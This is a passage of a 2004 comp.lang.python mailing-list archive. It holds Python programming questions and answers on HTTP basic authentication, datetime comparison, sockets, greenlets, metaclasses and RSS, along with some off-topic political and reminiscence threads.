shouldn't fail if the username/password is right print "It looks like the username or password is wrong." sys.exit(1) thepage = handle.read() server = urlparse(theurl)[1].lower() # server names are case insensitive, so we will convert to lower case test = server.find(':') if test != -1: server = server[:test] # remove the :port information if present, we're working on the principle that realm names per server are likely to be unique... passdict = {(server, realm) : authheader } # now if we get another 401 we can test for an entry in passdict before having to ask the user for a username/password print 'Done successfully - information now stored in passdict.' print 'The webpage is stored in thepage.' """ The proper way of actually doing this is to use an HTTPBasicAuthHandler along with an HTTPPasswordMgr. The python documentation on this is actually pretty minimal - so below is an example showing how to do this. The main problem with HTTPPasswordMgr is that you must *already* know the realm - so we're going to use the HTTPPasswordMgrWithDefaultRealm instead !! theurl = 'http://www.someserver.com/highestlevelprotectedpath/somepage.htm' username = 'johnny' password = 'XXXXXX' # a great password passman = urllib2.HTTPPasswordMgrWithDefaultRealm() # this creates a password manager passman.add_password(None, theurl, username, password) # because we have put None at the start it will always use this username/password combination authhandler = urllib2.HTTPBasicAuthHandler(passman) # create the AuthHandler opener = urllib2.build_opener(authhandler) # build an 'opener' using the handler we've created # you can use the opener directly to open URLs # *or* you can install it as the default opener so that all calls to urllib2.urlopen use this opener urllib2.install_opener(opener) # All calls to urllib2.urlopen will now use our handler ISSUES CHANGELOG 16-09-04 Version 1.0.0 I think it's ok. """ From kevin_spencer_2 at yahoo.com Tue Sep 21 08:55:34 2004 From: kevin_spencer_2 at yahoo.com (kevin) Date: Tue, 21 Sep 2004 08:55:34 -0400 Subject: python ides References: Message-ID: ups, the first screenshoot is wrong , here it is : http://www.zippyimages.com/files/111424/codecompletion_calltips_sourceassistant.png From gerrit at nl.linux.org Wed Sep 15 01:55:26 2004 From: gerrit at nl.linux.org (Gerrit) Date: Wed, 15 Sep 2004 07:55:26 +0200 Subject: comparing datetime with date In-Reply-To: <59e9fd3a04091418183f344376@mail.gmail.com> References: <1f7befae04091414167f3b37d4@mail.gmail.com> <59e9fd3a04091418183f344376@mail.gmail.com> Message-ID: <20040915055526.GA25690@nl.linux.org> Andrew Durdin wrote: > On Tue, 14 Sep 2004 17:16:58 -0400, Tim Peters wrote: > > [Donnal Walter] > > > >>> x = datetime.date(2004, 9, 14) > > > >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15) > > > >>> print x == y > > > True > > > > > > How can these two objects be considered equal? > > > > They should not be. Please open a bug report. The problem is due to that > > datetime.datetime is a subclass of datetime.date: > > Why should this be considered a bug? In my conception, a datetime.date > covers the whole range of times within the date, so that this equality > makes sense. It also allows for intuitive inequality comparisons > between datetime.datetime and datetime.date. Then, __contains__ would IMHO be the correct way to go: >>> datetime.datetime(2004, 9, 14, 6, 43, 15) in datetime.date(2004, 9, 14) True regards, Gerrit. -- Weather in Twenthe, Netherlands 15/09 07:25: 12.0?C Few clouds mostly clear wind 5.4 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From vze4rx4y at verizon.net Thu Sep 23 02:12:14 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 23 Sep 2004 06:12:14 GMT Subject: for_some(), for_all()? References: Message-ID: <2Pt4d.5569$sa.1897@trndny05> [Michael Hoffman] > There are some recipes for any() and all() in the itertools documents > that do what you want: > > http://www.python.org/doc/current/lib/itertools-example.html > > >>> import itertools, timeit, operator > > >>> def any(seq, pred=bool): > ... "Returns True if pred(x) is True at least one element in the > iterable" > ... return True in imap(pred, seq) I chose that one for the docs because it gave the best balance of clarity and speed. For pure speed, the following is faster and gives short-circuit behavior: >>> from itertools import ifilter >>> def any(seq, pred=None): ... for elem in ifilter(pred, seq): ... return True ... return False Raymond Hettinger From martin at v.loewis.de Mon Sep 6 01:37:34 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 06 Sep 2004 07:37:34 +0200 Subject: compiling to python byte codes In-Reply-To: <413BA545.6090805@acm.org> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> <413b9f57$1@news.unimelb.edu.au> <413ba235$0$13014$9b622d9e@news.freenet.de> <413BA545.6090805@acm.org> Message-ID: <413BF79E.5090109@v.loewis.de> Maurice LING wrote: > Sorry if I had misunderstood your intentions. VM is something of a > rather old concept, since Forth days, but is revived for the sake of > portability. With the exception of the book by Joshua Engel, I've not > seen any books that is devoted on VM. Do you know of any? One of the older ones is Goldberg, Robson. Smalltalk-80: The Language and its Implementation. Addison-Wesley, 1983. A thing that just turned up in a Google search is Christian Queinnec. Lisp in Small Pieces. Cambridge University Press, 1996 This covers 11 interpreters and 2 compilers. For Scheme, there is an online book http://www.cs.utexas.edu/users/wilson/schintro/schintro_toc.html There also is an Icon book Ralph E. Griswold and Madge T. Griswold. The Implementation of the Icon Programming Language Princeton University Press, 1986 On the language-independent/cross-language side, we have Samuel Kamin. Languages: An Interpreter-based Approach Addison-Wesley, 1990. and, of course Aho, Sethi, Ullman Compilers : Principles, Techniques, and Tools. Addison-Wesley, 1988 (with many reprints) > As for books on compiler construction, many explains the same topics and > it doesn't quite help when something I want to know is so precise, or > are just too old for any good use. It turns out that this is an area of computing that is very old (compared to the total age of electronic computing), and many of its foundations have been built years ago. So even the old books are still "valid". Now, for *specific* questions, Usenet is the right medium, although comp.compilers may be a better forum. Regards, Martin From abra9823 at mail.usyd.edu.au Mon Sep 20 07:23:15 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Mon, 20 Sep 2004 21:23:15 +1000 Subject: MAC address In-Reply-To: <200409201005.25963.heikowu@ceosg.de> References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> Message-ID: <1095679395.414ebda3733c2@www-mail.usyd.edu.au> Quoting Heiko Wundram : > Am Montag, 20. September 2004 08:51 schrieb Ajay: > > is it possible to change your MAC address from a program? > > Can i do that using Python? > > Depends on what OS you're under... Under Linux (and I'd guess that *BSD > works > somewhat similar), you can change the hardware address of some network > device > using: > > ifconfig down > ifconfig hw
> ifconfig up > > So, for example, to change my MAC to some random number (which is > invalid, > because it's a broadcast address): > > ifconfig eth0 down > ifconfig eth0 hw ether fffefdfcfbfa > ifconfig eth0 up > > Of course, you need to call all this as root. > > From Python, that would be: > > import os > > def setmac(device,mac): > os.system("ifconfig %s down" % device) > os.system("ifconfig %s hw ether %s" % (device,mac)) > os.system("ifconfig %s up" % device) > > Under Windows (2000, XP, NT?) there's also the possibility to change the > MAC > of a network device, but I don't know if you can access this OS > functionality > from somewhere else than the dialog box which offers it (maybe you can > change > it somewhere in the registry, don't know). thanks its actually windows that i would like to find out about. what i am trying to do is to anonymize client address by picking a random MAC address and using that instead > > Heiko. > -- > http://mail.python.org/mailman/listinfo/python-list > > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From aleaxit at yahoo.com Wed Sep 29 02:41:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 08:41:44 +0200 Subject: Metaclass with name overloading. References: <1gktv1h.lew418131v342N%aleaxit@yahoo.com> Message-ID: <1gkv9b0.wfrt7cn10d3oN%aleaxit@yahoo.com> Bengt Richter wrote: > On Tue, 28 Sep 2004 14:37:31 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: > [...] > > > >At this point, your templating is not declarative -- it's imperative. > >Like everything in Python, btw -- not ONE 'declarative' in sight (except > >the 'global' statement, which is part of what makes it a wart;-). > > Hm ;-) Is a module source a declaration of (imperative) intent, passive until imported? Every piece of code is 'passive unless executed', but that doesn't mean every language is declarative. > ISTM we are getting into shades of semantics. Interesting though ;-) Not all that much (to me), since redefining a word so that it applies to every possible language is basically robbing that word of any meaning. > For a language that plays well both ways, I would try scheme or lisp, I think. Hard to argue with this (or Dylan for syntax-sugar reasons, maybe). One alternative might be to explore pure functional languages, which can be seeing as remapping imperativeness into declarativeness. Alex From albalmer at att.net Tue Sep 14 14:59:02 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 14 Sep 2004 11:59:02 -0700 Subject: Xah Lee's Unixism References: <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> <873c1k7rre.fsf@p4.internal> Message-ID: On Tue, 14 Sep 2004 19:13:41 +0300, Bulent Murtezaoglu wrote: > Not that the replacement would be any better necessarily (indeed >he might be worse in many ways), but this kind of poor judgement needs >to have political consequences domestically. So, for the sake of Bush getting what you consider his just desserts, you are willing to have a replacement who would be worse. In the middle of a war. People like you frighten me. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From steven.bethard at gmail.com Sat Sep 4 14:18:05 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 4 Sep 2004 12:18:05 -0600 Subject: docs on for-loop with no __iter__? Message-ID: Can someone point me to the documentation on what's supposed to happen when you use the "for x in X:" syntax when X does not have an __iter__ method? I know that the code: >>> class S: ... def __len__(self): return 42 ... def __getitem__(self, i): return i ... >>> for x in S(): ... print x tries to print all the non-negative integers, starting with 0. (Note that the __len__ method doesn't stop it at 42.) Obviously, the right way to do this is with __iter__, but presumably this behavior is documented somewhere... Steve -- You can wordify anything if you just verb it. - Bucky Katt, Get Fuzzy From pje at telecommunity.com Mon Sep 27 21:54:32 2004 From: pje at telecommunity.com (Phillip J. Eby) Date: 27 Sep 2004 18:54:32 -0700 Subject: Microthreads without Stackless? References: <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> Message-ID: <25b5433d.0409271754.3fd3a511@posting.google.com> "David Pokorny" wrote in message news:... > "Bryan Olson": > > Michael Sparks: > > > [Try Greenlets] > > > Finally, I think I understand the kind of stack-conjuring > > required to make coroutines work, and it's well outside standard > > Python's documented extension API. I've been burned on that > > kind of thing before. > > Before sending people off to greenlets, I'm starting to understand why you > have to go check them out via CVS---they are somewhat dangerous in their > current form. Fortunately, they come with a test that illustrates the > problem (as long as you compile Python in debug mode, but everyone does > that, right ;). To get a handle on what is going on here, the following > "test5" will leak, but calling "test5('noleak')" will not. I haven't the > foggiest idea why, and gc.collect() cleans up some but not all of the > excess. > [snip] > def test5(kind='leak'): > def runner(*args, **kwds): > x = genlet(g,args,kwds) > return x Have you tried simply 'return genlet(g,args,kwds)'? My guess is that this is where the circularity is initially created, because the genlet points to a greenlet, which has a stack frame that chains back to the stack frame for the execution of 'runner', whose locals contain 'x', which refers back to the genlet. From zshutters at comcast.net Sun Sep 19 11:29:03 2004 From: zshutters at comcast.net (Zach Shutters) Date: Sun, 19 Sep 2004 08:29:03 -0700 Subject: C programming newsgroup Message-ID: What newsgroup can you guys recommend for me that talks about programming in c/c++ that is as active as this one? From lbates at swamisoft.com Tue Sep 14 10:27:30 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 14 Sep 2004 09:27:30 -0500 Subject: string % dictionary question References: Message-ID: di={} di["test"]=None s="%s" % (di["test"] or "") print "s='%s'" % s works, but might be better to set values to empty strings unless you want to test for the existence of None somewhere else in your program. Larry Bates "Sam Sungshik Kong" wrote in message news:ZFq1d.15197$QJ3.11816 at newssvr21.news.prodigy.com... > Hello, group! > > > >>> di={} > >>> di["test"]=None > >>> s="%(test)s" % di > >>> s > 'None' > > > I want the result to be just empty string when the dictionary value is None. > Is there a good way? > > TIA. > Sam > > From kkt at drizzle.com Wed Sep 8 12:44:25 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 08 Sep 2004 09:44:25 -0700 Subject: Xah Lee's Unixism References: <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> Message-ID: jmfbahciv at aol.com writes: > It's apparently having the desired effect. The subject of > the radio talk show last night was about the results of a poll > where 41% of the people asked (New York state residents) believed > that Bush and Co. knew that the WTC was going to be attacked and > did nothing to prevent it. They can have a nice chat with the 40-some-odd percent of the people who think Saddam was working with al-Qaida... -- Patrick From proto at panix.com Thu Sep 16 11:50:46 2004 From: proto at panix.com (Walter Bushell) Date: Thu, 16 Sep 2004 11:50:46 -0400 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: In article , Anne & Lynn Wheeler wrote: > Alan Balmer writes: > > I don't really know what imagination has to do with the question. I > > can imagine it being carved into 1277 pieces, but won't offer that > > as a meaningful argument. > > > > Here in Arizona, we recently had a transformer delivered. On a > > 800,000 pound, 280 foot long rig. By highway. No barges involved. > > > > As for the reference to Hatch, that's exactly what the OP was > > writing about. > > > > I apologize for not having the time to read and research your > > comments properly, so if it seems that I'm just picking on your > > logic, or lack thereof, you are correct. > > my uncle moved houses ... i helped on maybe a dozen or so ... needed > special permits ... and wide load escorts ... and carefully planned > routes ... frequently for relatively controlled distances. > > if you choose your road routes carefully enuf ... you can miss a lot > of the problems that you would run into moving by train. we had one > route where i was on the peak of the house and had to grab wires over > the side .... lift the wires up to clear the peak and walk the wires > back as the house moved under. I had an uncle in the business, his job was to check the route, they didn't want him to retire. (O baby, when it comes time to move, nothing beats the feeling of finding out by experience that the route is untenable and no one wanted to put their career on the line, I suppose.) But he finally convinced them, that he couldn't do the job forever. -- Guns don't kill people; automobiles kill people. From fuzzyman at gmail.com Sat Sep 4 06:12:21 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 4 Sep 2004 03:12:21 -0700 Subject: POST with basic auth and cookie from python? References: Message-ID: <6f402501.0409040212.4da65570@posting.google.com> Dan Stromberg wrote in message news:... > If I wanted to write a python script that performs basic auth, gets a > cookie, and then does an http POST using the cookie for authentication, > what would be the best python API to write to? > > Does someone already have example code that does something like this? > > Thanks. Well... I know *part* of the solution ! I'm also struggling with http authentiction from python. The cookie part is easy, ClientCookie (or cookielib if you use Python 2.4) will automatically handle the cookies for you.See http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/302930 for details of how to do that part. I have also sussed out how to do basic authentication the first time round (get an error code 401 from the server, repeat the request with the username and password encoded into the header). My test CGI at http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/298336 has an example of how to do this. req = reqfun(theurl, None, {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}) if data['name'] and data['pass']: import base64 base64string = base64.encodestring('%s:%s' % (data['name'], data['pass']))[:-1] req.add_header("Authorization", "Basic %s" % base64string) (Which I took from another cookbook recipe I think). After that it gets more complicated because that username/password is valid for a whole 'realm' - and I've really struggled finding documentation on http realms. I have the added problem that I'm doing this all in a CGI - so any auth handlers I create aren't persistent across consecutive page accesses - so I may need to save this password/realm information between page accesses... yuck. You might not have that problem and may be able to install an auth handler with the realm information as part of your opener. If it's really *just* the cookie providing authentication though you shouldn't have a problem. In the meantime I've got a book on http on order from amazon.......... Oh - if anyone can help on this it would be great !! What the heck is a realm and how do they work !! Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From clifford.wells at comcast.net Thu Sep 16 19:53:35 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Thu, 16 Sep 2004 16:53:35 -0700 Subject: up with PyGUI! In-Reply-To: References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> Message-ID: <1095378815.31957.166.camel@devilbox.devilnet.internal> On Thu, 2004-09-16 at 14:30 -0400, Terry Reedy wrote: > "Alex Martelli" wrote in message > > So I was wrong -- it's happening all right, but tends to be disguised > > (perhaps for marketing reasons). Thanks for the info! > > Also for political reasons. The US has reactionaries, left and right, who > reject the idea that all people have a right to participate in the global > information economy. The main problem a lot of people (myself included) have with the so- called "global economy" is that it mostly benefits the US employer who can pay wages that are far below cost of living inside the US. I'm certain there are few people who begrudge others getting work, but the usual motivation for those who drive this sort of thing (businesses and politicians) tends to be greed. The net result might be a greater distribution of wealth for the lower classes, but a wider division between the lower and middle/upper class in the US. $15k a year might be decent wages for a Ukrainian developer (I'm not certain), but in the US you'd have to choose between food and shelter at that point. To sum up: I have no problem with people in other countries participating in the US economy, rather I have a problem with US businesses who capitalize on that to drive down wages and increase their profit margins at the expense of workers. I say, let's have a global economy, and tax the exported work up to (or at least near) the cost of local labor, or have laws that require employers to pay prevailing wage (based on the *employer's* country of origin). Only then will employers actually choose developers based on their skills rather than how desperate they are to make a living. This would also prevent the all- too-common practice of moving an industry to the cheapest region, leaving behind soaring unemployment rates (and this happens outside the US just as much as inside). Regards, Cliff -- Cliff Wells From anders.eriksson at morateknikutveckling.se Fri Sep 10 07:34:00 2004 From: anders.eriksson at morateknikutveckling.se (Anders Eriksson) Date: Fri, 10 Sep 2004 13:34:00 +0200 Subject: RSS generation References: Message-ID: On 10 Sep 2004 03:10:59 -0700, Jesper Olsen wrote: > Hi, > > I'm looking for a python module which can help generate RSS feeds > in various formats - 0.92, 1.0, 2.0, atom etc... > Some info here: http://www-106.ibm.com/developerworks/webservices/library/ws-pyth11.html // anders From bgabriel at mtholyoke.edu Thu Sep 30 21:54:43 2004 From: bgabriel at mtholyoke.edu (Bishara Gabriel) Date: Thu, 30 Sep 2004 21:54:43 -0400 Subject: Final Revision (#2) - Social Analysis & Modeling in Python Message-ID: <415CB8E3.8030606@mtholyoke.edu> The url has not changed, but just in case [someone lost it], here it is: http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf From steven.bethard at gmail.com Tue Sep 21 14:55:04 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 21 Sep 2004 18:55:04 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> Message-ID: Jeremy Bowers jerf.org> writes: > On Tue, 21 Sep 2004 17:42:35 +0000, Steven Bethard wrote: > > Is there a good use case for binary trees with incompatible types at the > > nodes? > > See the ZODB's BTree-based storage. So, I googled for this, and it looked to me like just a BTree implementation -- not a use case. But since you didn't tell me what the use case was, I may not have googled for the right thing... Note that I'm not asking if they *allow* a user to store incompatible types. I'm asking for a case when a user *wants* to store incompatible types. Steve From bradtilley at usa.net Wed Sep 1 14:01:02 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 01 Sep 2004 14:01:02 -0400 Subject: function returning a list Message-ID: Can a function return a list? From mareks at 012.net.il Sat Sep 18 16:37:44 2004 From: mareks at 012.net.il (Marek S) Date: Sat, 18 Sep 2004 23:37:44 +0300 Subject: compile extension module with Digital Mars Message-ID: Does anybody use Digital Mars compiler to compile extension modules for Python on Windows? I tried but failed. Can you please post a little HOWTO. Thank you. From bradtilley at usa.net Tue Sep 14 08:47:25 2004 From: bradtilley at usa.net (Brad Tilley) Date: Tue, 14 Sep 2004 08:47:25 -0400 Subject: check for unused ports and then grab one In-Reply-To: <41462666.9060606@usa.net> References: <9vhh12-suo.ln1@lairds.us> <41462666.9060606@usa.net> Message-ID: Brad Tilley wrote: > Cameron Laird wrote: > >> In article , >> Erik Heneryd wrote: >> >>> Brad Tilley wrote: >>> >>>> Instead of me arbitrarily assigning a high port number to a >>>> variable, is it possible to check for ports that are unused and then >>>> randomly assign one of them to a variable? >>> >>> >>> No. Trial and error until you find one. >> >> >> . >> . >> . >> Incorrect, if I understand you both; *UNIX Network Programming* >> has said for years that >> The process can let the system automatically assign a port. For >> both the Internet domain and the XNS >> domain, specifying a port number of 0 before calling >> bind() requests the system to do this. >> While I've never tracked down an RFC that specifies this, it surely >> exists. > > > This works... even on winXP... thank you! > > import socket > > def get_server(): > server = socket.gethostbyname(socket.gethostname()) > return server > > def get_port(): > port = 0 > return port > > def listen(server_param, port_param): > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > s.bind((server_param, port_param)) > s.listen(1) > ipaddr, port = s.getsockname() > print ipaddr, port > > > ------------------------------------------------- > IDLE 1.0.3 ==== No Subprocess ==== > >>> > 192.168.1.100 1079 > >>> > 192.168.1.100 1080 > >>> > 192.168.1.100 1081 > >>> > 192.168.1.100 1082 > >>> > 192.168.1.100 1083 > >>> > 192.168.1.100 1084 > >>> > > Not that it matters, but this code always gets a much higher port number on my Linux computers: IDLE 1.0.4 >>> ================================ RESTART ================================ >>> 128.173.120.79 33205 >>> ================================ RESTART ================================ >>> 128.173.120.79 33207 >>> ================================ RESTART ================================ >>> 128.173.120.79 33209 >>> From seandavidross at hotmail.com Thu Sep 2 07:51:58 2004 From: seandavidross at hotmail.com (Sean Ross) Date: Thu, 2 Sep 2004 07:51:58 -0400 Subject: __doc__ of current function? References: <62e3db01.0409012325.4d42bb45@posting.google.com> Message-ID: "Peter Otten" <__peter__ at web.de> wrote in message news:ch6uj8$t68$00$1 at news.t-online.com... > Ksenia Marasanova wrote: > > >> > >> ... can I write a general docOfCurrentFunction() function so that I > >> can rewrite it: > >> > >> def validatePassword(p): > >> 'do something' > >> print docOfCurrentFunction() > >> > > > > def docOfCurrentFunction(): > > import sys > > func_name = sys._getframe(1).f_code.co_name > > return eval(func_name + '.__doc__') > > > > But I hope that a more intelligent way exists than using 'eval' :) > > Maybe > > >>> import sys > >>> def caller(): > ... f = sys._getframe(1) > ... return f.f_globals[f.f_code.co_name] > ... > >>> def demo(): > ... "Demo docstring" > ... print caller().__doc__ > ... > >>> demo() > Demo docstring > >>> > > Or can that fail in some cases? > > Peter > Hi. Yes, it fails for methods: >>> import sys >>> def caller(): ... f = sys._getframe(1) ... return f.f_globals[f.f_code.co_name] ... >>> class C: ... def m(self): ... "mmmmmmmmmm" ... print caller().__doc__ ... >>> c = C() >>> c.m() Traceback (most recent call last): File "", line 1, in ? File "", line 4, in m File "", line 3, in caller KeyError: 'm' >>> From no.spam at here.dude Fri Sep 3 11:37:46 2004 From: no.spam at here.dude (red floyd) Date: Fri, 03 Sep 2004 15:37:46 GMT Subject: Xah Lee's Unixism In-Reply-To: References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <874qmgifgy.fsf@thalassa.informatimago.com> <1094158110.307899@teapot.planet.gong> Message-ID: Rob Warnock wrote: > But as I finished there: > > Though there were certainly other places where the mc68000's imprecise > exceptions left no choice but to blow the offending process away... > Hence the need for the MC68010. From nikola at bonbon.net Thu Sep 30 13:33:02 2004 From: nikola at bonbon.net (Nikola Bjelicic) Date: Thu, 30 Sep 2004 19:33:02 +0200 Subject: simple socket code References: Message-ID: **** Post for FREE via your newsreader at post.usenet.com **** Jeremy Jones wrote: > > Do you _really_ want to do this by hand with sockets? I would recommend > trying httplib: > > http://www.python.org/doc/current/lib/httplib-examples.html > > Jeremy Jones I would really like to post file-like object which is presumably large. I need this for connection tracking like with urlgrabber, but for POST and PUT requests. Nikola Bjelicic -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= *** Usenet.com - The #1 Usenet Newsgroup Service on The Planet! *** http://www.usenet.com Unlimited Download - 19 Seperate Servers - 90,000 groups - Uncensored -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From jmeile at hotmail.com Wed Sep 29 03:30:45 2004 From: jmeile at hotmail.com (Josef Meile) Date: Wed, 29 Sep 2004 09:30:45 +0200 Subject: Zope, M2Crypto, and Gentoo In-Reply-To: <415a2559$0$99411$a1866201@newsreader.visi.com> References: <4156ddd5$0$78146$a1866201@newsreader.visi.com> <4157690a$0$80690$a1866201@newsreader.visi.com> <4157fb85$1@pfaff2.ethz.ch> <415a2559$0$99411$a1866201@newsreader.visi.com> Message-ID: <415a6b33$1@pfaff2.ethz.ch> Hi Jim, > That means a very small number of users, only one user accessing a given > file at a time, etc. LDAP is really overkill, as is another Webserver. > Heck, I wouldn't even be looking at m2crypto if it weren't for the fact > I want this tool to manage remote servers. LDAP was only an example. Some python modules require special building settings, which usually aren't included on the binary distributions. > As it stands now, I haven't tried anything with it. I think my next step > is to contact the guy who maintains m2crypto, describe my situation, and > ask him if he has any thoughts. Did you try finding the python used by zope and checked if it has m2crypto installed? I think theoretically the installation should work also with the binaries as well. You only need to know where your files are and the rest shouldn't be difficult. Afterall, I think m2Crypto isn't a complicated module and doesn't have special requirements. Regards, Josef From daniel at dittmar.net Fri Sep 17 15:21:12 2004 From: daniel at dittmar.net (Daniel Dittmar) Date: Fri, 17 Sep 2004 21:21:12 +0200 Subject: Python Webstart ? In-Reply-To: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <2r0rq6F12j2qtU1@uni-berlin.de> huy wrote: > Just wondering if there were any plans (or existing projects) similar to > Java webstart for Python. I think this would be a boon for python. I > would love to start my new project using Python but the deployment (and > long term upgrading) factor is a major itch which pyfreeze and py2exe > just doesn't scratch properly. One quick solution would be to install a cvs client together with python. This would update just those files that have changed. Your clients could even rollback to an earlier release should there be any problems. It doesn't have to be cvs. Some of the newer source code control systems have the ability to update through HTTP, should there be some restrictions because of a firewall. A command line client would be quite enough as you would be calling it from your program anyway. There is no need for your clients to learn anything about it. Daniel From trentm at ActiveState.com Thu Sep 2 14:52:09 2004 From: trentm at ActiveState.com (Trent Mick) Date: Thu, 2 Sep 2004 11:52:09 -0700 Subject: explainations about standard library and modules in Python. In-Reply-To: ; from hung_ho@rogers.com on Thu, Sep 02, 2004 at 06:44:04PM +0000 References: Message-ID: <20040902115209.F7669@ActiveState.com> [Hung ho wrote] > My question is that, can anyone recommend me any book, or online > materials that could explain what the functions some of the modules in > the standard library can do that are packaged along with Python v. > 2.3.4?. For example, I read some modules such as os.py, sys.py, and > random.py The documents in those modules didn't help me to comprehend > what the purpose of the modules, and how to use them in Python. What > are their functions, and how do I use them. Thank You. http://docs.python.org/lib/lib.html Specifically: http://docs.python.org/lib/module-os.html http://docs.python.org/lib/module-sys.html http://docs.python.org/lib/module-random.html Cheers, Trent -- Trent Mick TrentM at ActiveState.com From aleaxit at yahoo.com Mon Sep 6 03:27:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 09:27:49 +0200 Subject: Trouble accessing global vars References: Message-ID: <1gjoq2i.jbhvdp6422xkN%aleaxit@yahoo.com> Troels Therkelsen wrote: ... > If you want to modify a global variable from inside a function/method scope, > you need explicitly tell Python that this is indeed your wish, by using the > global keyword, like this: _MODIFY_ (call a method that performs modification on a mutable object) would be no problem. (bind or) _REBIND_ a global name, that's the troublespot where 'global' is needed. The += operator, like any other assignment, REBINDS the name (even when the object is mutable, so the change is in-place, nevertheless the name-rebinding occurs, for uniformity AND since that must be determined by the compiler which can't rely on knowing the object type). Alex From proto at panix.com Thu Sep 16 00:56:58 2004 From: proto at panix.com (Walter Bushell) Date: Thu, 16 Sep 2004 00:56:58 -0400 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> Message-ID: In article <%T%Yc.29567$Es2.11957889 at news4.srv.hcvlny.cv.net>, "John W. Kennedy" wrote: > Andre Majorel wrote: > > On 2004-08-31, Brian Inglis wrote: > > > >>On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers, > >>Andre Majorel wrote: > >> > >> > >>>On 2004-08-30, Antony Sequeira wrote: > >> > >>>>Windows (MS) is not 'Unixism'? > >>> > >>>If by unixism, you mean any operating system that has a > >>>hierarchical filesystem and byte stream files, yes. But that > >>>would include quite a few other non-Unix operating systems, > >>>including Mac OS 9, Prologue and probably everything else this > >>>side of CP/M (DOS 1.x shall be deemed to be CP/M). > >> > >>DOS 2.x+ shall be deemed to be CP/M+! > > > > > > Wasn't it in version 2 that they added directories and > > Unix-style file handles ? > > Yes, and also a single-process pipe emulator. Ever since 2.0, MS has > been trying to turn MS-DOS (later, Windows) into a Unix clone. And they got beat to Unixhood (or UnixDoom) by Apple. -- Guns don't kill people; automobiles kill people. From tzot at sil-tec.gr Wed Sep 22 10:41:45 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 22 Sep 2004 17:41:45 +0300 Subject: Why not FP for Money? References: 